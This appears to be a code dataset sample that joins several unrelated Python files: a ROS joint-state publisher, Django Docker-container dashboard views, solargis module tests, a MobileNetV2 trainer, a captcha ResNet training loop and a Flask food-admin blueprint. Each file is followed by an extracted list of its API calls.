#Create joint state message
joint = JointState()
joint.header = Header()
joint.name = ['front_left_steer_joint', 'front_left_wheel_joint','front_right_steer_joint', 'front_right_wheel_joint'\
, 'rear_left_wheel_joint', 'rear_right_wheel_joint']
joint.velocity = [0, 0, 0, 0, 0, 0]
joint.effort = []
while not rospy.is_shutdown():
rospy.Subscriber("ackerman_control/cmd_vel", Twist, callback_cmd)
#Pubblish joint state for Rviz
joint.header.stamp = rospy.Time.now()
joint.position = [front_rot, rear_vel, front_rot, rear_vel, rear_vel, rear_vel]
pub.publish(joint)
rate.sleep()
if __name__ == '__main__':
try:
print("Running joint_state.py...")
talker()
except rospy.ROSInterruptException:
pass
| [
"rospy.Subscriber",
"rospy.is_shutdown",
"rospy.init_node",
"sensor_msgs.msg.JointState",
"rospy.Time.now",
"rospy.Rate",
"rospy.Publisher",
"std_msgs.msg.Header"
] | [((643, 701), 'rospy.Publisher', 'rospy.Publisher', (['"""joint_states"""', 'JointState'], {'queue_size': '(10)'}), "('joint_states', JointState, queue_size=10)\n", (658, 701), False, 'import rospy\n'), ((706, 756), 'rospy.Subscriber', 'rospy.Subscriber', (['"""/odom"""', 'Odometry', 'callback_odom'], {}), "('/odom', Odometry, callback_odom)\n", (722, 756), False, 'import rospy\n'), ((761, 799), 'rospy.init_node', 'rospy.init_node', (['"""racecar_joint_state"""'], {}), "('racecar_joint_state')\n", (776, 799), False, 'import rospy\n'), ((811, 825), 'rospy.Rate', 'rospy.Rate', (['(10)'], {}), '(10)\n', (821, 825), False, 'import rospy\n'), ((879, 891), 'sensor_msgs.msg.JointState', 'JointState', ([], {}), '()\n', (889, 891), False, 'from sensor_msgs.msg import JointState\n'), ((911, 919), 'std_msgs.msg.Header', 'Header', ([], {}), '()\n', (917, 919), False, 'from std_msgs.msg import Header, Float32\n'), ((1174, 1193), 'rospy.is_shutdown', 'rospy.is_shutdown', ([], {}), '()\n', (1191, 1193), False, 'import rospy\n'), ((1205, 1270), 'rospy.Subscriber', 'rospy.Subscriber', (['"""ackerman_control/cmd_vel"""', 'Twist', 'callback_cmd'], {}), "('ackerman_control/cmd_vel', Twist, callback_cmd)\n", (1221, 1270), False, 'import rospy\n'), ((1340, 1356), 'rospy.Time.now', 'rospy.Time.now', ([], {}), '()\n', (1354, 1356), False, 'import rospy\n')] |
# -*- coding: utf-8 -*-
from __future__ import unicode_literals
from __future__ import division
from __future__ import absolute_import
from __future__ import print_function
__version__ = "0.1"
from .lap_tracking import LAPTracker
from .tester import *
import os
import logging
from .utils.color_system import color
def in_ipython():
try:
__IPYTHON__
except NameError:
return False
else:
return True
if in_ipython():
logformat = '%(asctime)s' + ':'
logformat += '%(levelname)s' + ':'
logformat += '%(name)s' + ':'
# logformat += '%(funcName)s' + ': '
logformat += ' %(message)s'
else:
logformat = color('%(asctime)s', 'BLUE') + ':'
logformat += color('%(levelname)s', 'RED') + ':'
logformat += color('%(name)s', 'YELLOW') + ':'
# logformat += color('%(funcName)s', 'GREEN') + ': '
logformat += color(' %(message)s', 'ENDC')
thisdir = os.path.abspath(os.path.dirname(__file__))
pkgdir = os.path.dirname(thisdir)
samplesdir = os.path.join(pkgdir, 'samples')
logger = logging.getLogger(__name__)
handler = logging.StreamHandler()
formatter = logging.Formatter(logformat, "%Y-%m-%d %H:%M:%S")
handler.setFormatter(formatter)
logger.addHandler(handler)
logger.setLevel(logging.DEBUG)
logger.propagate = False
import warnings
warnings.filterwarnings("ignore")
try:
import matplotlib
matplotlib.rcParams['backend'] = "Agg"
except ImportError:
logger.warning(
'Matplotlib has not been detected. Some functions may not work.')
| [
"logging.getLogger",
"logging.StreamHandler",
"logging.Formatter",
"os.path.join",
"os.path.dirname",
"warnings.filterwarnings"
] | [((970, 994), 'os.path.dirname', 'os.path.dirname', (['thisdir'], {}), '(thisdir)\n', (985, 994), False, 'import os\n'), ((1008, 1039), 'os.path.join', 'os.path.join', (['pkgdir', '"""samples"""'], {}), "(pkgdir, 'samples')\n", (1020, 1039), False, 'import os\n'), ((1050, 1077), 'logging.getLogger', 'logging.getLogger', (['__name__'], {}), '(__name__)\n', (1067, 1077), False, 'import logging\n'), ((1088, 1111), 'logging.StreamHandler', 'logging.StreamHandler', ([], {}), '()\n', (1109, 1111), False, 'import logging\n'), ((1124, 1173), 'logging.Formatter', 'logging.Formatter', (['logformat', '"""%Y-%m-%d %H:%M:%S"""'], {}), "(logformat, '%Y-%m-%d %H:%M:%S')\n", (1141, 1173), False, 'import logging\n'), ((1306, 1339), 'warnings.filterwarnings', 'warnings.filterwarnings', (['"""ignore"""'], {}), "('ignore')\n", (1329, 1339), False, 'import warnings\n'), ((934, 959), 'os.path.dirname', 'os.path.dirname', (['__file__'], {}), '(__file__)\n', (949, 959), False, 'import os\n')] |
from django.shortcuts import render
from rest_framework.views import APIView
from rest_framework.response import Response
from rest_framework import status
from dashboard.helpers import (list_container,
start_container,
stop_container,
create_container,
delete_container)
def containers_list(request):
resp = list_container()
if not resp:
return render(request, 'dashboard/containers.html', {})
containers = []
try:
for r in resp:
container = {
'id': r['Id'][:12],
'name': r['Names'][0].replace('/', ''),
'image': r['Image'],
'status': r['Status'],
'state': r['State']
}
containers.append(container)
return render(request, 'dashboard/containers.html', {'containers': containers})
except (KeyError, TypeError):
return render(request, 'dashboard/containers.html', {})
class StartContainer(APIView):
def post(self, request):
try:
container = request.data['name']
except KeyError:
return Response(status=status.HTTP_400_BAD_REQUEST)
resp = start_container(container)
if resp:
return Response(status=status.HTTP_200_OK)
return Response(status=status.HTTP_400_BAD_REQUEST)
class StopContainer(APIView):
def post(self, request):
try:
container = request.data['name']
except KeyError:
return Response(status=status.HTTP_400_BAD_REQUEST)
resp = stop_container(container)
if resp:
return Response(status=status.HTTP_200_OK)
return Response(status=status.HTTP_400_BAD_REQUEST)
class CreateContainer(APIView):
def post(self, request):
try:
image = {"Image": request.data['name']}
except KeyError:
return Response(status=status.HTTP_400_BAD_REQUEST)
created = create_container(image)
if created:
started = start_container(created['Id'])
if started:
return Response(status=status.HTTP_200_OK)
return Response(status=status.HTTP_400_BAD_REQUEST)
class DeleteContainer(APIView):
def post(self, request):
try:
container = request.data['name']
except KeyError:
return Response(status=status.HTTP_400_BAD_REQUEST)
resp = delete_container(container)
if resp:
return Response(status=status.HTTP_200_OK)
return Response(status=status.HTTP_400_BAD_REQUEST)
| [
"django.shortcuts.render",
"dashboard.helpers.create_container",
"dashboard.helpers.stop_container",
"rest_framework.response.Response",
"dashboard.helpers.delete_container",
"dashboard.helpers.list_container",
"dashboard.helpers.start_container"
] | [((439, 455), 'dashboard.helpers.list_container', 'list_container', ([], {}), '()\n', (453, 455), False, 'from dashboard.helpers import list_container, start_container, stop_container, create_container, delete_container\n'), ((488, 536), 'django.shortcuts.render', 'render', (['request', '"""dashboard/containers.html"""', '{}'], {}), "(request, 'dashboard/containers.html', {})\n", (494, 536), False, 'from django.shortcuts import render\n'), ((890, 962), 'django.shortcuts.render', 'render', (['request', '"""dashboard/containers.html"""', "{'containers': containers}"], {}), "(request, 'dashboard/containers.html', {'containers': containers})\n", (896, 962), False, 'from django.shortcuts import render\n'), ((1289, 1315), 'dashboard.helpers.start_container', 'start_container', (['container'], {}), '(container)\n', (1304, 1315), False, 'from dashboard.helpers import list_container, start_container, stop_container, create_container, delete_container\n'), ((1404, 1448), 'rest_framework.response.Response', 'Response', ([], {'status': 'status.HTTP_400_BAD_REQUEST'}), '(status=status.HTTP_400_BAD_REQUEST)\n', (1412, 1448), False, 'from rest_framework.response import Response\n'), ((1674, 1699), 'dashboard.helpers.stop_container', 'stop_container', (['container'], {}), '(container)\n', (1688, 1699), False, 'from dashboard.helpers import list_container, start_container, stop_container, create_container, delete_container\n'), ((1788, 1832), 'rest_framework.response.Response', 'Response', ([], {'status': 'status.HTTP_400_BAD_REQUEST'}), '(status=status.HTTP_400_BAD_REQUEST)\n', (1796, 1832), False, 'from rest_framework.response import Response\n'), ((2070, 2093), 'dashboard.helpers.create_container', 'create_container', (['image'], {}), '(image)\n', (2086, 2093), False, 'from dashboard.helpers import list_container, start_container, stop_container, create_container, delete_container\n'), ((2265, 2309), 'rest_framework.response.Response', 'Response', ([], {'status': 'status.HTTP_400_BAD_REQUEST'}), '(status=status.HTTP_400_BAD_REQUEST)\n', (2273, 2309), False, 'from rest_framework.response import Response\n'), ((2537, 2564), 'dashboard.helpers.delete_container', 'delete_container', (['container'], {}), '(container)\n', (2553, 2564), False, 'from dashboard.helpers import list_container, start_container, stop_container, create_container, delete_container\n'), ((2653, 2697), 'rest_framework.response.Response', 'Response', ([], {'status': 'status.HTTP_400_BAD_REQUEST'}), '(status=status.HTTP_400_BAD_REQUEST)\n', (2661, 2697), False, 'from rest_framework.response import Response\n'), ((1014, 1062), 'django.shortcuts.render', 'render', (['request', '"""dashboard/containers.html"""', '{}'], {}), "(request, 'dashboard/containers.html', {})\n", (1020, 1062), False, 'from django.shortcuts import render\n'), ((1353, 1388), 'rest_framework.response.Response', 'Response', ([], {'status': 'status.HTTP_200_OK'}), '(status=status.HTTP_200_OK)\n', (1361, 1388), False, 'from rest_framework.response import Response\n'), ((1737, 1772), 'rest_framework.response.Response', 'Response', ([], {'status': 'status.HTTP_200_OK'}), '(status=status.HTTP_200_OK)\n', (1745, 1772), False, 'from rest_framework.response import Response\n'), ((2136, 2166), 'dashboard.helpers.start_container', 'start_container', (["created['Id']"], {}), "(created['Id'])\n", (2151, 2166), False, 'from dashboard.helpers import list_container, start_container, stop_container, create_container, delete_container\n'), ((2602, 2637), 'rest_framework.response.Response', 'Response', ([], {'status': 'status.HTTP_200_OK'}), '(status=status.HTTP_200_OK)\n', (2610, 2637), False, 'from rest_framework.response import Response\n'), ((1228, 1272), 'rest_framework.response.Response', 'Response', ([], {'status': 'status.HTTP_400_BAD_REQUEST'}), '(status=status.HTTP_400_BAD_REQUEST)\n', (1236, 1272), False, 'from rest_framework.response import Response\n'), ((1613, 1657), 'rest_framework.response.Response', 'Response', ([], {'status': 'status.HTTP_400_BAD_REQUEST'}), '(status=status.HTTP_400_BAD_REQUEST)\n', (1621, 1657), False, 'from rest_framework.response import Response\n'), ((2006, 2050), 'rest_framework.response.Response', 'Response', ([], {'status': 'status.HTTP_400_BAD_REQUEST'}), '(status=status.HTTP_400_BAD_REQUEST)\n', (2014, 2050), False, 'from rest_framework.response import Response\n'), ((2214, 2249), 'rest_framework.response.Response', 'Response', ([], {'status': 'status.HTTP_200_OK'}), '(status=status.HTTP_200_OK)\n', (2222, 2249), False, 'from rest_framework.response import Response\n'), ((2476, 2520), 'rest_framework.response.Response', 'Response', ([], {'status': 'status.HTTP_400_BAD_REQUEST'}), '(status=status.HTTP_400_BAD_REQUEST)\n', (2484, 2520), False, 'from rest_framework.response import Response\n')] |
import unittest
from solargis.request import Module, ModuleType
class TestModule(unittest.TestCase):
def test_module_element(self):
module = Module(ModuleType.CSI, 0, 0.8, 45, -0.38)
expected = (
'<pv:module type="CSI">'
'<pv:degradation>0</pv:degradation>'
'<pv:degradationFirstYear>0.8</pv:degradationFirstYear>'
'<pv:nominalOperatingCellTemp>45</pv:nominalOperatingCellTemp>'
'<pv:PmaxCoeff>-0.38</pv:PmaxCoeff>'
'</pv:module>'
)
actual = module.to_xml()
self.assertEqual(actual, expected)
def test_module_element_degradation(self):
module = Module(ModuleType.CSI, 0.5)
expected = (
'<pv:module type="CSI">'
'<pv:degradation>0.5</pv:degradation>'
'</pv:module>'
)
actual = module.to_xml()
self.assertEqual(actual, expected)
def test_module_nominal_operating_cell_temp(self):
module = Module(ModuleType.CSI, nominal_operating_cell_temp=45)
expected = (
'<pv:module type="CSI">'
'<pv:nominalOperatingCellTemp>45</pv:nominalOperatingCellTemp>'
'</pv:module>'
)
actual = module.to_xml()
self.assertEqual(actual, expected)
def test_module_surface_reflectance(self):
module = Module(ModuleType.CSI, surface_reflectance=0.16)
expected = (
'<pv:module type="CSI">'
'<pv:surfaceReflectance>0.16</pv:surfaceReflectance>'
'</pv:module>'
)
actual = module.to_xml()
self.assertEqual(actual, expected)
| [
"solargis.request.Module"
] | [((157, 198), 'solargis.request.Module', 'Module', (['ModuleType.CSI', '(0)', '(0.8)', '(45)', '(-0.38)'], {}), '(ModuleType.CSI, 0, 0.8, 45, -0.38)\n', (163, 198), False, 'from solargis.request import Module, ModuleType\n'), ((679, 706), 'solargis.request.Module', 'Module', (['ModuleType.CSI', '(0.5)'], {}), '(ModuleType.CSI, 0.5)\n', (685, 706), False, 'from solargis.request import Module, ModuleType\n'), ((1003, 1057), 'solargis.request.Module', 'Module', (['ModuleType.CSI'], {'nominal_operating_cell_temp': '(45)'}), '(ModuleType.CSI, nominal_operating_cell_temp=45)\n', (1009, 1057), False, 'from solargis.request import Module, ModuleType\n'), ((1372, 1420), 'solargis.request.Module', 'Module', (['ModuleType.CSI'], {'surface_reflectance': '(0.16)'}), '(ModuleType.CSI, surface_reflectance=0.16)\n', (1378, 1420), False, 'from solargis.request import Module, ModuleType\n')] |
import torch
import torch.nn as nn
import torchvision
import os
from train import train
from transform import get_transform
# each layer consists of [expansion_ratio, output_channels, repeat_number, stride_of_first_sublayer]
bottleneck_layers_config = [
[1, 16, 1, 1],
[6, 24, 2, 2],
[6, 32, 3, 2],
[6, 64, 4, 2],
[6, 96, 3, 1],
[6, 160, 3, 2],
[6, 320, 1, 1]
]
def conv_block(input_channels, output_channels, kernel_size, stride=1, padding=0, groups=1):
return nn.Sequential(
nn.Conv2d(input_channels, output_channels, kernel_size, stride, padding, groups=groups),
nn.BatchNorm2d(output_channels),
nn.ReLU6()
)
class BottleneckResidualBlock(nn.Module):
def __init__(self, input_channels, output_channels, s, t):
"""
:param s: int, stride
:param t: int, expansion ratio
"""
super(BottleneckResidualBlock, self).__init__()
assert s in (1, 2)
self.skip_connection = True if (s == 1 and input_channels == output_channels) else False
inter_channels = t * input_channels
self.conv1x1_expand = conv_block(input_channels, inter_channels, 1)
self.conv3x3 = conv_block(inter_channels, inter_channels, 3, s, 1, inter_channels)
self.conv1x1_squeeze = conv_block(inter_channels, output_channels, 1)
def _init_weights(self):
for module in self.modules():
if isinstance(module, nn.Conv2d):
nn.init.kaiming_uniform_(module.weight)
if module.bias:
nn.init.constant_(module.bias, 0)
def forward(self, x):
identity = x
out = self.conv1x1_expand(x)
out = self.conv3x3(out)
out = self.conv1x1_squeeze(out)
if self.skip_connection:
out += identity
return out
class MobileNet_v2(nn.Module):
def __init__(self, bottleneck_config, num_classes):
super(MobileNet_v2, self).__init__()
self.conv1 = conv_block(3, 32, 3, 2, 1)
self.bottleneck_layers = self._make_bottleneck_layers(bottleneck_config)
self.conv_9 = conv_block(320, 1280, 1)
self.avg_pool = nn.AvgPool2d(7)
self.final_conv = nn.Conv2d(1280, num_classes, 1)
self.flatten = nn.Flatten()
def _make_bottleneck_layers(self, config):
layers = []
input_channels = 32
for layer in config:
t, c, n, s = layer
layers.append(BottleneckResidualBlock(input_channels, c, s, t))
for i in range(n - 1):
layers.append(BottleneckResidualBlock(c, c, 1, t))
input_channels = c
return nn.Sequential(*layers)
def forward(self, x):
x = self.conv1(x)
x = self.bottleneck_layers(x)
x = self.conv_9(x)
x = self.avg_pool(x)
x = self.final_conv(x)
x = self.flatten(x)
return x
if __name__ == "__main__":
IMAGE_SIZE = 224
BATCH_SIZE = 4
DEVICE = torch.device('cuda')
ROOT = 'data'
NUM_EPOCHS = 10
LR = 0.0001
MOMENTUM = 0.9
transforms = {phase: get_transform(phase, IMAGE_SIZE) for phase in ['train', 'val']}
datasets = {
phase: torchvision.datasets.ImageFolder(os.path.join(ROOT, phase), transform=transforms[phase])
for phase in ['train', 'val']
}
dataloaders = {
phase: torch.utils.data.DataLoader(datasets[phase], batch_size=BATCH_SIZE, shuffle=True) for phase in
['train', 'val']
}
model = MobileNet_v2(bottleneck_layers_config, num_classes=10)
model.to(DEVICE)
criterion = torch.nn.CrossEntropyLoss(reduction='mean')
opt = torch.optim.SGD(model.parameters(), lr=LR, momentum=MOMENTUM)
model, accuracy_history, loss_history = train(model, NUM_EPOCHS, dataloaders, BATCH_SIZE, opt, criterion, DEVICE) | [
"torch.nn.BatchNorm2d",
"train.train",
"torch.nn.CrossEntropyLoss",
"torch.nn.init.constant_",
"torch.nn.Sequential",
"torch.nn.Flatten",
"os.path.join",
"torch.nn.Conv2d",
"transform.get_transform",
"torch.nn.init.kaiming_uniform_",
"torch.utils.data.DataLoader",
"torch.nn.AvgPool2d",
"torc... | [((3075, 3095), 'torch.device', 'torch.device', (['"""cuda"""'], {}), "('cuda')\n", (3087, 3095), False, 'import torch\n'), ((3708, 3751), 'torch.nn.CrossEntropyLoss', 'torch.nn.CrossEntropyLoss', ([], {'reduction': '"""mean"""'}), "(reduction='mean')\n", (3733, 3751), False, 'import torch\n'), ((3870, 3943), 'train.train', 'train', (['model', 'NUM_EPOCHS', 'dataloaders', 'BATCH_SIZE', 'opt', 'criterion', 'DEVICE'], {}), '(model, NUM_EPOCHS, dataloaders, BATCH_SIZE, opt, criterion, DEVICE)\n', (3875, 3943), False, 'from train import train\n'), ((539, 630), 'torch.nn.Conv2d', 'nn.Conv2d', (['input_channels', 'output_channels', 'kernel_size', 'stride', 'padding'], {'groups': 'groups'}), '(input_channels, output_channels, kernel_size, stride, padding,\n groups=groups)\n', (548, 630), True, 'import torch.nn as nn\n'), ((637, 668), 'torch.nn.BatchNorm2d', 'nn.BatchNorm2d', (['output_channels'], {}), '(output_channels)\n', (651, 668), True, 'import torch.nn as nn\n'), ((679, 689), 'torch.nn.ReLU6', 'nn.ReLU6', ([], {}), '()\n', (687, 689), True, 'import torch.nn as nn\n'), ((2231, 2246), 'torch.nn.AvgPool2d', 'nn.AvgPool2d', (['(7)'], {}), '(7)\n', (2243, 2246), True, 'import torch.nn as nn\n'), ((2274, 2305), 'torch.nn.Conv2d', 'nn.Conv2d', (['(1280)', 'num_classes', '(1)'], {}), '(1280, num_classes, 1)\n', (2283, 2305), True, 'import torch.nn as nn\n'), ((2330, 2342), 'torch.nn.Flatten', 'nn.Flatten', ([], {}), '()\n', (2340, 2342), True, 'import torch.nn as nn\n'), ((2734, 2756), 'torch.nn.Sequential', 'nn.Sequential', (['*layers'], {}), '(*layers)\n', (2747, 2756), True, 'import torch.nn as nn\n'), ((3201, 3233), 'transform.get_transform', 'get_transform', (['phase', 'IMAGE_SIZE'], {}), '(phase, IMAGE_SIZE)\n', (3214, 3233), False, 'from transform import get_transform\n'), ((3473, 3559), 'torch.utils.data.DataLoader', 'torch.utils.data.DataLoader', (['datasets[phase]'], {'batch_size': 'BATCH_SIZE', 'shuffle': '(True)'}), '(datasets[phase], batch_size=BATCH_SIZE, shuffle\n =True)\n', (3500, 3559), False, 'import torch\n'), ((3332, 3357), 'os.path.join', 'os.path.join', (['ROOT', 'phase'], {}), '(ROOT, phase)\n', (3344, 3357), False, 'import os\n'), ((1516, 1555), 'torch.nn.init.kaiming_uniform_', 'nn.init.kaiming_uniform_', (['module.weight'], {}), '(module.weight)\n', (1540, 1555), True, 'import torch.nn as nn\n'), ((1610, 1643), 'torch.nn.init.constant_', 'nn.init.constant_', (['module.bias', '(0)'], {}), '(module.bias, 0)\n', (1627, 1643), True, 'import torch.nn as nn\n')] |
from django.shortcuts import render
from api.models import NowPPM
from api.models import PPMData
import datetime
import matplotlib
from matplotlib import pyplot
# Create your views here.
def home(request):
nowppm = NowPPM.objects.get(id=1)
return render(request, 'home.html', {'nowppm': nowppm, })
| [
"django.shortcuts.render",
"api.models.NowPPM.objects.get"
] | [((223, 247), 'api.models.NowPPM.objects.get', 'NowPPM.objects.get', ([], {'id': '(1)'}), '(id=1)\n', (241, 247), False, 'from api.models import NowPPM\n'), ((260, 308), 'django.shortcuts.render', 'render', (['request', '"""home.html"""', "{'nowppm': nowppm}"], {}), "(request, 'home.html', {'nowppm': nowppm})\n", (266, 308), False, 'from django.shortcuts import render\n')] |
# -*- coding: UTF-8 -*-
import torch
import torch.nn as nn
from torch.autograd import Variable
import my_dataset
from captcha_VGG16 import *
from captcha_resnet import ResNet18
from captcha_optimizer import RAdam, GradualWarmupScheduler
from captcha_resnet34 import ResNet34
# 断点续训标识
RESUME = True
checkpoint_path = r'./checkpoint/ckpt_res34_2.pth'
# Hyper Parameters
num_epochs = 150
# num_epochs = 1
# batch_size = 100
# batch_size = 64
batch_size = 100
# learning_rate = 5e-4
learning_rate = 1e-5
# Train the Model
train_dataloader = my_dataset.get_train_data_loader(batch_size)
if __name__ == '__main__':
# cnn = CNN()
# model = CNN2()
model = ResNet34()
model.train()
model = model.cuda()
print('init net')
criterion = nn.MultiLabelSoftMarginLoss()
# optimizer = torch.optim.Adam(model.parameters(), lr=learning_rate)
optimizer = RAdam(model.parameters(),
lr=learning_rate,
betas=(0.9, 0.999),
weight_decay=6.5e-4)
scheduler_after = torch.optim.lr_scheduler.StepLR(optimizer,
step_size=20,
gamma=0.5)
scheduler = GradualWarmupScheduler(optimizer,
8,
10,
after_scheduler=scheduler_after)
# 开始训练的epoch
start_epoch = -1
# 如果RESUME==True,加载已保存的模型
if RESUME:
checkpoint = torch.load(checkpoint_path)
model.load_state_dict(checkpoint['model'])
optimizer.load_state_dict(checkpoint['optimizer'])
start_epoch = checkpoint['start_epoch']
scheduler.load_state_dict(checkpoint['lr_schedule'])
print('Continue training from epoch {}...'.format(start_epoch))
for epoch in range(start_epoch+1 ,num_epochs):
for i, (images, labels) in enumerate(train_dataloader):
# 数据移入GPU
images = images.cuda()
labels = labels.cuda()
optimizer.zero_grad() # 梯度清零
predict_labels = model(images) # 前向传播
loss = criterion(predict_labels, labels) # 损失计算
loss.backward() # 反向传播
optimizer.step() # 参数更新
if (i+1) % 10 == 0:
print("epoch:", epoch, "step:", i+1, "loss:", loss.item())
# if (i+1) % 100 == 0:
# torch.save(model.state_dict(), "model.pkl") #current is model.pkl
# print("save model")
print("epoch:", epoch, "finished!", "loss:", loss.item(), "learning_rate:", scheduler.get_lr())
checkpoint = {
'model':model.state_dict(),
'optimizer':optimizer.state_dict(),
'start_epoch': epoch,
'lr_schedule': scheduler.state_dict()
}
scheduler.step()
# 如果路径不存在,创建
if not os.path.isdir("./checkpoint"):
os.mkdir("./checkpoint")
torch.save(checkpoint, './checkpoint/ckpt_res34_2.pth')
# torch.save(model.state_dict(), "model.pkl") #current is model.pkl
torch.save(checkpoint, './checkpoint/ckpt_res34_last_2.pth')
print("save last model")
| [
"captcha_resnet34.ResNet34",
"torch.load",
"torch.optim.lr_scheduler.StepLR",
"my_dataset.get_train_data_loader",
"torch.save",
"torch.nn.MultiLabelSoftMarginLoss",
"captcha_optimizer.GradualWarmupScheduler"
] | [((540, 584), 'my_dataset.get_train_data_loader', 'my_dataset.get_train_data_loader', (['batch_size'], {}), '(batch_size)\n', (572, 584), False, 'import my_dataset\n'), ((664, 674), 'captcha_resnet34.ResNet34', 'ResNet34', ([], {}), '()\n', (672, 674), False, 'from captcha_resnet34 import ResNet34\n'), ((757, 786), 'torch.nn.MultiLabelSoftMarginLoss', 'nn.MultiLabelSoftMarginLoss', ([], {}), '()\n', (784, 786), True, 'import torch.nn as nn\n'), ((1049, 1116), 'torch.optim.lr_scheduler.StepLR', 'torch.optim.lr_scheduler.StepLR', (['optimizer'], {'step_size': '(20)', 'gamma': '(0.5)'}), '(optimizer, step_size=20, gamma=0.5)\n', (1080, 1116), False, 'import torch\n'), ((1229, 1302), 'captcha_optimizer.GradualWarmupScheduler', 'GradualWarmupScheduler', (['optimizer', '(8)', '(10)'], {'after_scheduler': 'scheduler_after'}), '(optimizer, 8, 10, after_scheduler=scheduler_after)\n', (1251, 1302), False, 'from captcha_optimizer import RAdam, GradualWarmupScheduler\n'), ((3254, 3314), 'torch.save', 'torch.save', (['checkpoint', '"""./checkpoint/ckpt_res34_last_2.pth"""'], {}), "(checkpoint, './checkpoint/ckpt_res34_last_2.pth')\n", (3264, 3314), False, 'import torch\n'), ((1525, 1552), 'torch.load', 'torch.load', (['checkpoint_path'], {}), '(checkpoint_path)\n', (1535, 1552), False, 'import torch\n'), ((3107, 3162), 'torch.save', 'torch.save', (['checkpoint', '"""./checkpoint/ckpt_res34_2.pth"""'], {}), "(checkpoint, './checkpoint/ckpt_res34_2.pth')\n", (3117, 3162), False, 'import torch\n')] |
# -*- coding: utf-8 -*-
from flask import Blueprint,request,jsonify,redirect
from common.libs.Helper import ops_render,get_current_date,i_pagination,get_dict_filter_field
from application import app,db
from common.models.food.Food import Food
from common.models.food.FoodCat import FoodCat
from common.models.food.FoodStockChangeLog import FoodStockChangeLog
from common.libs.UrlManager import UrlManager
from common.libs.food.FoodService import FoodService
from decimal import Decimal
from sqlalchemy import or_
route_food = Blueprint( 'food_page',__name__ )
@route_food.route( "/index" )
def index():
resp_data = {}
req = request.values
page = int(req['p']) if ('p' in req and req['p']) else 1
query = Food.query
if 'mix_kw' in req:
rule = or_(Food.name.ilike("%{0}%".format(req['mix_kw'])), Food.tags.ilike("%{0}%".format(req['mix_kw'])))
query = query.filter( rule )
if 'status' in req and int( req['status'] ) > -1 :
query = query.filter( Food.status == int( req['status'] ) )
if 'cat_id' in req and int( req['cat_id'] ) > 0 :
query = query.filter( Food.cat_id == int( req['cat_id'] ) )
page_params = {
'total':query.count(),
'page_size': app.config['PAGE_SIZE'],
'page':page,
'display':app.config['PAGE_DISPLAY'],
'url': request.full_path.replace("&p={}".format(page),"")
}
pages = i_pagination(page_params)
offset = ( page - 1 ) * app.config['PAGE_SIZE']
list = query.order_by( Food.id.desc() ).offset( offset ).limit( app.config['PAGE_SIZE'] ).all()
cat_mapping = get_dict_filter_field(FoodCat, FoodCat.id, "id", [])
resp_data['list'] = list
resp_data['pages'] = pages
resp_data['search_con'] = req
resp_data['status_mapping'] = app.config['STATUS_MAPPING']
resp_data['cat_mapping'] = cat_mapping
resp_data['current'] = 'index'
return ops_render( "food/index.html",resp_data )
@route_food.route( "/info" )
def info():
resp_data = {}
req = request.args
id = int(req.get("id", 0))
reback_url = UrlManager.build_url("/food/index")
if id < 1:
return redirect( reback_url )
info = Food.query.filter_by( id =id ).first()
if not info:
return redirect( reback_url )
stock_change_list = FoodStockChangeLog.query.filter( FoodStockChangeLog.food_id == id )\
.order_by( FoodStockChangeLog.id.desc() ).all()
resp_data['info'] = info
resp_data['stock_change_list'] = stock_change_list
resp_data['current'] = 'index'
return ops_render( "food/info.html",resp_data )
@route_food.route( "/set" ,methods = [ 'GET','POST'] )
def set():
if request.method == "GET":
resp_data = {}
req = request.args
id = int( req.get('id',0) )
info = Food.query.filter_by( id = id ).first()
if info and info.status != 1:
return redirect(UrlManager.build_url("/food/index"))
cat_list = FoodCat.query.all()
resp_data['info'] = info
resp_data['cat_list'] = cat_list
resp_data['current'] = 'index'
return ops_render( "food/set.html" ,resp_data)
resp = {'code': 200, 'msg': '操作成功~~', 'data': {}}
req = request.values
id = int(req['id']) if 'id' in req and req['id'] else 0
cat_id = int(req['cat_id']) if 'cat_id' in req else 0
name = req['name'] if 'name' in req else ''
price = req['price'] if 'price' in req else ''
main_image = req['main_image'] if 'main_image' in req else ''
summary = req['summary'] if 'summary' in req else ''
stock = int(req['stock']) if 'stock' in req else ''
tags = req['tags'] if 'tags' in req else ''
if cat_id < 1:
resp['code'] = -1
resp['msg'] = "请选择分类~~"
return jsonify(resp)
if name is None or len(name) < 1:
resp['code'] = -1
resp['msg'] = "请输入符合规范的名称~~"
return jsonify(resp)
if not price or len( price ) < 1:
resp['code'] = -1
resp['msg'] = "请输入符合规范的售卖价格~~"
return jsonify(resp)
price = Decimal(price).quantize(Decimal('0.00'))
if price <= 0:
resp['code'] = -1
resp['msg'] = "请输入符合规范的售卖价格~~"
return jsonify(resp)
if main_image is None or len(main_image) < 3:
resp['code'] = -1
resp['msg'] = "请上传封面图~~"
return jsonify(resp)
if summary is None or len(summary) < 3:
resp['code'] = -1
resp['msg'] = "请输入图书描述,并不能少于10个字符~~"
return jsonify(resp)
if stock < 1:
resp['code'] = -1
resp['msg'] = "请输入符合规范的库存量~~"
return jsonify(resp)
if tags is None or len(tags) < 1:
resp['code'] = -1
resp['msg'] = "请输入标签,便于搜索~~"
return jsonify(resp)
food_info = Food.query.filter_by(id=id).first()
before_stock = 0
if food_info:
model_food = food_info
before_stock = model_food.stock
else:
model_food = Food()
model_food.status = 1
model_food.created_time = get_current_date()
model_food.cat_id = cat_id
model_food.name = name
model_food.price = price
model_food.main_image = main_image
model_food.summary = summary
model_food.stock = stock
model_food.tags = tags
model_food.updated_time = get_current_date()
db.session.add(model_food)
ret = db.session.commit()
FoodService.setStockChangeLog( model_food.id,int(stock) - int(before_stock),"后台修改" )
return jsonify(resp)
@route_food.route( "/cat" )
def cat():
resp_data = {}
req = request.values
query = FoodCat.query
if 'status' in req and int( req['status'] ) > -1:
query = query.filter( FoodCat.status == int( req['status'] ) )
list = query.order_by( FoodCat.weight.desc(),FoodCat.id.desc() ).all()
resp_data['list'] = list
resp_data['search_con'] = req
resp_data['status_mapping'] = app.config['STATUS_MAPPING']
resp_data['current'] = 'cat'
return ops_render( "food/cat.html",resp_data )
@route_food.route( "/cat-set",methods = [ "GET","POST" ] )
def catSet():
if request.method == "GET":
resp_data = {}
req = request.args
id = int(req.get("id", 0))
info = None
if id:
info = FoodCat.query.filter_by( id = id ).first()
resp_data['info'] = info
resp_data['current'] = 'cat'
return ops_render( "food/cat_set.html" ,resp_data )
resp = {'code': 200, 'msg': '操作成功~~', 'data': {}}
req = request.values
id = req['id'] if 'id' in req else 0
name = req['name'] if 'name' in req else ''
weight = int( req['weight'] ) if ( 'weight' in req and int( req['weight']) > 0 ) else 1
if name is None or len( name ) < 1:
resp['code'] = -1
